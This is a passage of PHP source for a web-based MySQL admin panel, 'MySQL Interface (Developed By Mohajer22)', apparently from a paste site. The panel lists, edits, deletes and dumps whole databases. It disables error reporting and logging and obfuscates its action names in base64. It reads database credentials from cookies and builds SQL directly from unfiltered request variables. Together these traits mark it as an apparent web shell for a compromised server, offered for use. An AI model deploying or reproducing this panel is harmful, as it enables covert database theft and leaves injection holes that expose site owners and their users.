  770. echo "<p class=location>$dbname > $tablename</p>\n";
  771.  
  772. echo "<form action='$PHP_SELF' method=post>\n";
  773. if( $cmd == "add" )
  774. echo "<input type=hidden name=action value=addData_submit>\n";
  775. else if( $cmd == "edit" )
  776. echo "<input type=hidden name=action value=editData_submit>\n";
  777. echo "<input type=hidden name=dbname value=$dbname>\n";
  778. echo "<input type=hidden name=tablename value=$tablename>\n";
  779. echo "<table cellspacing=1 cellpadding=2>\n";
  780. echo "<tr>\n";
  781. echo "<th>Name</th>\n";
  782. echo "<th>Type</th>\n";
  783. echo "<th>Function</th>\n";
  784. echo "<th>Data</th>\n";
  785. echo "</tr>\n";
  786.  
  787. $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
  788. $num = mysql_num_rows( $pResult );
  789.  
  790. $pResultLen = mysql_list_fields( $dbname, $tablename );
  791.  
  792. for( $i = 0; $i < $num; $i++ ) {
  793. $field = mysql_fetch_array( $pResult );
  794. $fieldname = $field["Field"];
  795. $fieldtype = $field["Type"];
  796. $len = mysql_field_len( $pResultLen, $i );
  797.  
  798. echo "<tr>";
  799. echo "<td>$fieldname</td>";
  800. echo "<td>".$field["Type"]."</td>";
  801. echo "<td>\n";
  802. echo "<select name=${fieldname}_function>\n";
  803. echo "<option>\n";
  804. echo "<option>ASCII\n";
  805. echo "<option>CHAR\n";
  806. echo "<option>SOUNDEX\n";
  807. echo "<option>CURDATE\n";
  808. echo "<option>CURTIME\n";
  809. echo "<option>FROM_DAYS\n";
  810. echo "<option>FROM_UNIXTIME\n";
  811. echo "<option>NOW\n";
  812. echo "<option>PASSWORD\n";
  813. echo "<option>PERIOD_ADD\n";
  814. echo "<option>PERIOD_DIFF\n";
  815. echo "<option>TO_DAYS\n";
  816. echo "<option>USER\n";
  817. echo "<option>WEEKDAY\n";
  818. echo "<option>RAND\n";
  819. echo "</select>\n";
  820. echo "</td>\n";
  821. $value = htmlspecialchars($data[$i]);
  822. if( $cmd == "add" ) {
  823. $type = strtok( $fieldtype, " (,)\n" );
  824. if( $type == "enum" || $type == "set" ) {
  825. echo "<td>\n";
  826. if( $type == "enum" )
  827. echo "<select name=$fieldname>\n";
  828. else if( $type == "set" )
  829. echo "<select name=$fieldname size=4 multiple>\n";
  830. while( $str = strtok( "'" ) ) {
  831. echo "<option>$str\n";
  832. strtok( "'" );
  833. }
  834. echo "</select>\n";
  835. echo "</td>\n";
  836. } else {
  837. if( $len < 40 )
  838. echo "<td><input type=text size=40 maxlength=$len name=$fieldname></td>\n";
  839. else
  840. echo "<td><textarea cols=40 rows=3 maxlength=$len name=$fieldname></textarea>\n";
  841. }
  842. } else if( $cmd == "edit" ) {
  843. $type = strtok( $fieldtype, " (,)\n" );
  844. if( $type == "enum" || $type == "set" ) {
  845. echo "<td>\n";
  846. if( $type == "enum" )
  847. echo "<select name=$fieldname>\n";
  848. else if( $type == "set" )
  849. echo "<select name=$fieldname size=4 multiple>\n";
  850. while( $str = strtok( "'" ) ) {
  851. if( $value == $str )
  852. echo "<option selected>$str\n";
  853. else
  854. echo "<option>$str\n";
  855. strtok( "'" );
  856. }
  857. echo "</select>\n";
  858. echo "</td>\n";
  859. } else {
  860. if( $len < 40 )
  861. echo "<td><input type=text size=40 maxlength=$len name=$fieldname value=\"$value\"></td>\n";
  862. else
  863. echo "<td><textarea cols=40 rows=3 maxlength=$len name=$fieldname>$value</textarea>\n";
  864. }
  865. }
  866. echo "</tr>";
  867. }
  868. echo "</table><p>\n";
  869. if( $cmd == "add" )
  870. echo "<input type=submit value='Add Data'>\n";
  871. else if( $cmd == "edit" )
  872. echo "<input type=submit value='Edit Data'>\n";
  873. echo "<input type=button value='Cancel' onClick='history.back()'>\n";
  874. echo "</form>\n";
  875. }
  876.  
  877. function manageData_submit( $cmd ) {
  878. global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;
  879.  
  880. $pResult = mysql_list_fields( $dbname, $tablename );
  881. $num = mysql_num_fields( $pResult );
  882.  
  883. mysql_select_db( $dbname, $mysqlHandle );
  884. if( $cmd == "add" )
  885. $queryStr = "INSERT INTO $tablename VALUES (";
  886. else if( $cmd == "edit" )
  887. $queryStr = "REPLACE INTO $tablename VALUES (";
  888. for( $i = 0; $i < $num-1; $i++ ) {
  889. $field = mysql_fetch_field( $pResult );
  890. $func = $GLOBALS[$field->name."_function"];
  891. if( $func != "" )
  892. $queryStr .= " $func(";
  893. if( $field->numeric == 1 ) {
  894. $queryStr .= $GLOBALS[$field->name];
  895. if( $func != "" )
  896. $queryStr .= "),";
  897. else
  898. $queryStr .= ",";
  899. } else {
  900. $queryStr .= "'" . $GLOBALS[$field->name];
  901. if( $func != "" )
  902. $queryStr .= "'),";
  903. else
  904. $queryStr .= "',";
  905. }
  906. }
  907. $field = mysql_fetch_field( $pResult );
  908. if( $field->numeric == 1 )
  909. $queryStr .= $GLOBALS[$field->name] . ")";
  910. else
  911. $queryStr .= "'" . $GLOBALS[$field->name] . "')";
  912.  
  913. mysql_query( $queryStr , $mysqlHandle );
  914. $errMsg = mysql_error();
  915.  
  916. viewData( "" );
  917. }
  918.  
  919. function deleteData() {
  920. global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;
  921.  
  922. $pResult = mysql_list_fields( $dbname, $tablename );
  923. $num = mysql_num_fields( $pResult );
  924.  
  925. $key = "";
  926. for( $i = 0; $i < $num; $i++ ) {
  927. $field = mysql_fetch_field( $pResult, $i );
  928. if( $field->primary_key == 1 )
  929. if( $field->numeric == 1 )
  930. $key .= $field->name . "=" . $GLOBALS[$field->name] . " AND ";
  931. else
  932. $key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND ";
  933. }
  934. $key = substr( $key, 0, strlen($key)-4 );
  935.  
  936. mysql_select_db( $dbname, $mysqlHandle );
  937. $queryStr = "DELETE FROM $tablename WHERE $key";
  938. mysql_query( $queryStr, $mysqlHandle );
  939. $errMsg = mysql_error();
  940.  
  941. viewData( "" );
  942. }
  943.  
  944. function fetch_table_dump_sql($table)
  945. {
  946. global $mysqlHandle,$dbname;
  947.  
  948. mysql_select_db( $dbname, $mysqlHandle );
  949. $query_id = mysql_query("SHOW CREATE TABLE $table",$mysqlHandle);
  950. $tabledump = mysql_fetch_array($query_id, MYSQL_ASSOC);
  951. $tabledump = "DROP TABLE IF EXISTS $table;\n" . $tabledump['Create Table'] . ";\n\n";
  952.  
  953. echo $tabledump;
  954.  
  955. // get data
  956. $rows = mysql_query("SELECT * FROM $table",$mysqlHandle);
  957. $numfields=mysql_num_fields($rows);
  958. while ($row = mysql_fetch_array($rows, MYSQL_NUM))
  959. {
  960. $tabledump = "INSERT INTO $table VALUES(";
  961.  
  962. $fieldcounter = -1;
  963. $firstfield = 1;
  964. // get each field's data
  965. while (++$fieldcounter < $numfields)
  966. {
  967. if (!$firstfield)
  968. {
  969. $tabledump .= ', ';
  970. }
  971. else
  972. {
  973. $firstfield = 0;
  974. }
  975.  
  976. if (!isset($row["$fieldcounter"]))
  977. {
  978. $tabledump .= 'NULL';
  979. }
  980. else
  981. {
  982. $tabledump .= "'" . mysql_escape_string($row["$fieldcounter"]) . "'";
  983. }
  984. }
  985.  
  986. $tabledump .= ");\n";
  987.  
  988. echo $tabledump;
  989.  
  990. }
  991. @mysql_free_result($rows);
  992. }
  993.  
  994. function dump() {
  995. global $mysqlHandle, $action, $dbname, $tablename;
  996.  
  997. if( $action == "dumpTable" ){
  998.  
  999. header("Content-disposition: filename=$tablename.sql");
  1000. header('Content-type: unknown/unknown');
  1001. fetch_table_dump_sql($tablename);
  1002. echo "\n\n\n";
  1003. echo "\r\n\r\n\r\n### $tablename TABLE DUMP COMPLETED ###";
  1004. exit;
  1005.  
  1006. }else{
  1007. header("Content-disposition: filename=$dbname.sql");
  1008. header('Content-type: unknown/unknown');
  1009.  
  1010. mysql_select_db( $dbname, $mysqlHandle );
  1011. $query_id = mysql_query("SHOW tables",$mysqlHandle);
  1012. while ($row = mysql_fetch_array($query_id, MYSQL_NUM))
  1013. {
  1014. fetch_table_dump_sql($row[0]);
  1015. echo "\n\n\n";
  1016. echo "\r\n\r\n\r\n### $row[0] TABLE DUMP COMPLETED ###";
  1017. echo "\n\n\n";
  1018. }
  1019. echo "\r\n\r\n\r\n### $dbname DATABASE DUMP COMPLETED ###";
  1020. exit;
  1021.  
  1022. }
  1023.  
  1024. }
  1025.  
  1026. function utils() {
  1027. global $PHP_SELF, $command;
  1028. echo "<h1>Utilities</h1>\n";
  1029. if( $command == "" || substr( $command, 0, 5 ) == "flush" ) {
  1030. echo "<hr>\n";
  1031. echo "Show\n";
  1032. echo "<ul>\n";
  1033. echo "<li><a href='$PHP_SELF?action=utils&command=show_status'>Status</a>\n";
  1034. echo "<li><a href='$PHP_SELF?action=utils&command=show_variables'>Variables</a>\n";
  1035. echo "<li><a href='$PHP_SELF?action=utils&command=show_processlist'>Processlist</a>\n";
  1036. echo "</ul>\n";
  1037. echo "Flush\n";
  1038. echo "<ul>\n";
  1039. echo "<li><a href='$PHP_SELF?action=utils&command=flush_hosts'>Hosts</a>\n";
  1040. if( $command == "flush_hosts" ) {
  1041. if( mysql_query( "Flush hosts" ) != false )
  1042. echo "- Success";
  1043. else
  1044. echo "- Fail";
  1045. }
  1046. echo "<li><a href='$PHP_SELF?action=utils&command=flush_logs'>Logs</a>\n";
  1047. if( $command == "flush_logs" ) {
  1048. if( mysql_query( "Flush logs" ) != false )
  1049. echo "- Success";
  1050. else
  1051. echo "- Fail";
  1052. }
  1053. echo "<li><a href='$PHP_SELF?action=utils&command=flush_privileges'>Privileges</a>\n";
  1054. if( $command == "flush_privileges" ) {
  1055. if( mysql_query( "Flush privileges" ) != false )
  1056. echo "- Success";
  1057. else
  1058. echo "- Fail";
  1059. }
  1060. echo "<li><a href='$PHP_SELF?action=utils&command=flush_tables'>Tables</a>\n";
  1061. if( $command == "flush_tables" ) {
  1062. if( mysql_query( "Flush tables" ) != false )
  1063. echo "- Success";
  1064. else
  1065. echo "- Fail";
  1066. }
  1067. echo "<li><a href='$PHP_SELF?action=utils&command=flush_status'>Status</a>\n";
  1068. if( $command == "flush_status" ) {
  1069. if( mysql_query( "Flush status" ) != false )
  1070. echo "- Success";
  1071. else
  1072. echo "- Fail";
  1073. }
  1074. echo "</ul>\n";
  1075. } else {
  1076. $queryStr = ereg_replace( "_", " ", $command );
  1077. $pResult = mysql_query( $queryStr );
  1078. if( $pResult == false ) {
  1079. echo "Fail";
  1080. return;
  1081. }
  1082. $col = mysql_num_fields( $pResult );
  1083.  
  1084. echo "<p class=location>$queryStr</p>\n";
  1085. echo "<hr>\n";
  1086.  
  1087. echo "<table cellspacing=1 cellpadding=2 border=0>\n";
  1088. echo "<tr>\n";
  1089. for( $i = 0; $i < $col; $i++ ) {
  1090. $field = mysql_fetch_field( $pResult, $i );
  1091. echo "<th>".$field->name."</th>\n";
  1092. }
  1093. echo "</tr>\n";
  1094.  
  1095. while( 1 ) {
  1096. $rowArray = mysql_fetch_row( $pResult );
  1097. if( $rowArray == false ) break;
  1098. echo "<tr>\n";
  1099. for( $j = 0; $j < $col; $j++ )
  1100. echo "<td>".htmlspecialchars( $rowArray[$j] )."</td>\n";
  1101. echo "</tr>\n";
  1102. }
  1103. echo "</table>\n";
  1104. }
  1105. }
  1106.  
  1107.  
  1108.  
  1109. function footer_html() {
  1110. global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $USERNAME;
  1111.  
  1112. echo "<hr>\n";
  1113. echo "[$USERNAME] - \n";
  1114.  
  1115. echo "<a href='$PHP_SELF?action=bGlzdERCcw=='>Database List</a> | \n";
  1116. if( $tablename != "" )
  1117. echo "<a href='$PHP_SELF?action=listTables&dbname=$dbname&tablename=$tablename'>Table List</a> | ";
  1118. echo "<a href='$PHP_SELF?action=utils'>Utils</a> |\n";
  1119. echo "<a href='$PHP_SELF?action=logout'>Logout</a>\n";
  1120.  
  1121.  
  1122. }
  1123.  
  1124.  
  1125.  
  1126.  
  1127. //------------- MAIN ------------- //
  1128. error_reporting(0);
  1129. ini_set ('display_errors', 0);
  1130. ini_set ('log_errors', 0);
  1131.  
  1132. if( $action == "logon" || $action == "" || $action == "logout" )
  1133. logon();
  1134. else if( $action == "bG9nb25fc3VibWl0" )
  1135. logon_submit();
  1136. else if( $action == "dumpTable" || $action == "dumpDB" ) {
  1137. while( list($var, $value) = each($HTTP_COOKIE_VARS) ) {
  1138. if( $var == "mysql_web_admin_username" ) $USERNAME = $value;
  1139. if( $var == "mysql_web_admin_password" ) $PASSWORD = $value;
  1140. if( $var == "mysql_web_admin_hostname" ) $HOSTNAME = $value;
  1141. }
  1142. $mysqlHandle = @mysql_connect( $HOSTNAME.":3306", $USERNAME, $PASSWORD );
  1143. dump();
  1144. } else {
  1145. while( list($var, $value) = each($HTTP_COOKIE_VARS) ) {
  1146. if( $var == "mysql_web_admin_username" ) $USERNAME = $value;
  1147. if( $var == "mysql_web_admin_password" ) $PASSWORD = $value;
  1148. if( $var == "mysql_web_admin_hostname" ) $HOSTNAME = $value;
  1149. }
  1150. echo "<!--";
  1151. $mysqlHandle = @mysql_connect( $HOSTNAME.":3306", $USERNAME, $PASSWORD );
  1152. echo "-->";
  1153.  
  1154. if( $mysqlHandle == false ) {
  1155.  
  1156.  
  1157. echo "<table width=100% height=100%><tr><td><center>\n";
  1158. echo "<h1>Wrong Password!</h1>\n";
  1159. echo "<a href='$PHP_SELF?action=logon'>Logon</a>\n";
  1160. echo "</center></td></tr></table>\n";
  1161.  
  1162. } else {
  1163.  
  1164. if( $action == "bGlzdERCcw==" )
  1165. listDatabases();
  1166. else if( $action == "createDB" )
  1167. createDatabase();
  1168. else if( $action == "dropDB" )
  1169. dropDatabase();
  1170. else if( $action == "listTables" )
  1171. listTables();
  1172. else if( $action == "createTable" )
  1173. createTable();
  1174. else if( $action == "dropTable" )
  1175. dropTable();
  1176. else if( $action == "viewSchema" )
  1177. viewSchema();
  1178. else if( $action == "query" )
  1179. viewData( $queryStr );
  1180. else if( $action == "addField" )
  1181. manageField( "add" );
  1182. else if( $action == "addField_submit" )
  1183. manageField_submit( "add" );
  1184. else if( $action == "editField" )
  1185. manageField( "edit" );
  1186. else if( $action == "editField_submit" )
  1187. manageField_submit( "edit" );
  1188. else if( $action == "dropField" )
  1189. dropField();
  1190. else if( $action == "dmlld0RhdGE=" )
  1191. viewData( "" );
  1192. else if( $action == "addData" )
  1193. manageData( "add" );
  1194. else if( $action == "addData_submit" )
  1195. manageData_submit( "add" );
  1196. else if( $action == "editData" )
  1197. manageData( "edit" );
  1198. else if( $action == "editData_submit" )
  1199. manageData_submit( "edit" );
  1200. else if( $action == "deleteData" )
  1201. deleteData();
  1202. else if( $action == "utils" )
  1203. utils();
  1204.  
  1205. mysql_close( $mysqlHandle);
  1206. footer_html();
  1207. }
  1208. }
  1209.  
  1210.  
  1211. ?>
  1212. <html>
  1213. <head>
  1214. <title>MySQL Interface (Developed By Mohajer22)</title>
  1215. <body bgColor=#202040 >
  1216. <style type="text/css">
  1217. <!--
  1218. p.location {
  1219. color: #11bb33;
  1220. font-size: small;
  1221. }
  1222. h1 {
  1223. color: #c00000;
  1224. }
  1225. th {
  1226. background-color: #000000;
  1227. color: #11bb33;
  1228. font-size: small;
  1229. }
  1230. td {
  1231. background-color: #808080;
  1232. font-size: small;
  1233. }
  1234. form {
  1235. margin-top: 0;
  1236. margin-bottom: 0;
  1237. }
  1238. a {
  1239. text-decoration:none;
  1240. color: #848200;
  1241. font-size:small;
  1242. }
  1243. A:link {
  1244. COLOR:#EEEFD5;
  1245. TEXT-DECORATION: none
  1246. }
  1247. A:visited {
  1248. COLOR:#c00000;
  1249. TEXT-DECORATION: none
  1250. }
  1251. A:active {
  1252. COLOR:#c00000;
  1253. TEXT-DECORATION: none
  1254. }
  1255. A:hover {
  1256. color:#c00000;
  1257. TEXT-DECORATION: none
  1258. }
  1259. input, select, textarea {
  1260. background-color: #404040;
  1261. border-style: solid;
  1262. font-family: verdana, arial, sans-serif;
  1263. font-size:small;
  1264. color: #ffffff;
  1265. padding: 0px;
  1266. }
  1267. //-->
  1268. </style>
  1269. </head>
Add Comment
Please, Sign In to add comment